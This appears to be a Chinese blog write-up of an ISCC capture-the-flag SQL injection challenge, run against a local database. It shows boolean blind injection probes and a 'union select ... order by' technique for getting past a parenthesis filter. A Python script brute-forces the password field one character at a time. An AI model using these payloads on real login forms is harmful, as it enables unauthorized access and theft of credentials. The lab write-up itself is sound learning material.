ISCC括号过滤题复现

本地数据库建立

创建数据库:

1
create database test1;

创建表:

1
2
3
4
5
create table `admin`(
`id` int(10) not null primary key auto_increment,
`username` varchar(20) not null,
`password` varchar(32) not null
);

插入数据:

1
2
3
4
insert into admin
(username,passowrd)
values
("admin","saddagfkljeaf")
img

开始解题

测试数据:输入任何数据 发现返回的都是
img
意思就是 flag在password栏里
接下来使用sql注入测试一下,发现当我们在单引号后输入=的时候页面回显:illegal input,burp suit爆破测试一下过滤了什么数据:过滤了一些盲注函数包括like regexp,还有where等union查询需要使用的
接下来继续测试一下,确定需要使用什么盲注:
当我们输入
admin’and 1<2#——页面回显是admin也就是我们的用户名,并且是因为此用户名存在才会回显出来
当我们输入
admin’and 1>2#——页面回显是the content in the password….
所以可以确定这里可以使用布尔盲注
接下来需要确定使用什么语句进行注入:
由于过滤括号,所以无法使用substr等盲注常用函数进行解题
这里就要拓展学习一种新方法了:

union select+order by盲注

img 我们这里从后往前解析,order by 3,2的意思是先排序第三列再排序第二列 我们使用的union select 插入的数据的第三列的数据如果小于等于admin的第三列,显示的即为我们插入的数据,如果大于显示的即为admin一行的数据,接下来编写盲注脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
s= requests.session()
url="http://localhost:81/iscc%e6%8b%ac%e5%8f%b7%e8%bf%87%e6%bb%a4%e8%81%94%e7%b3%bb%e9%a2%98.php"
payload_try='abcdefghijklmnopqrstuvwxyz'
passwd=""
x=''
for i in range(1,30):
for j in payload_try:
payload=f"admin'union select 1,2,'{j}' order by 3,2#"
print(payload)
data={"username":payload,"password":"sky"}
if 'admin' in s.post(url,data).text:
passwd+=x
print(passwd)
break
x=j

这里有个点需要注意的就是:由于使用的是order by的排序机制,所以
img
程序不会自己终止,就是会一直按最后一位的字母叠加下去,要记得辨识。由于我比较懒,所以密码弄得就是gggggggg,于是就有了上面的结果。
而在本题中,密码就是flag。
这篇博客似乎有点水哈哈哈哈哈
开学也要好好加油哇!

Author

vague huang

Posted on

2021-03-10

Updated on

2021-03-10

Licensed under

Comments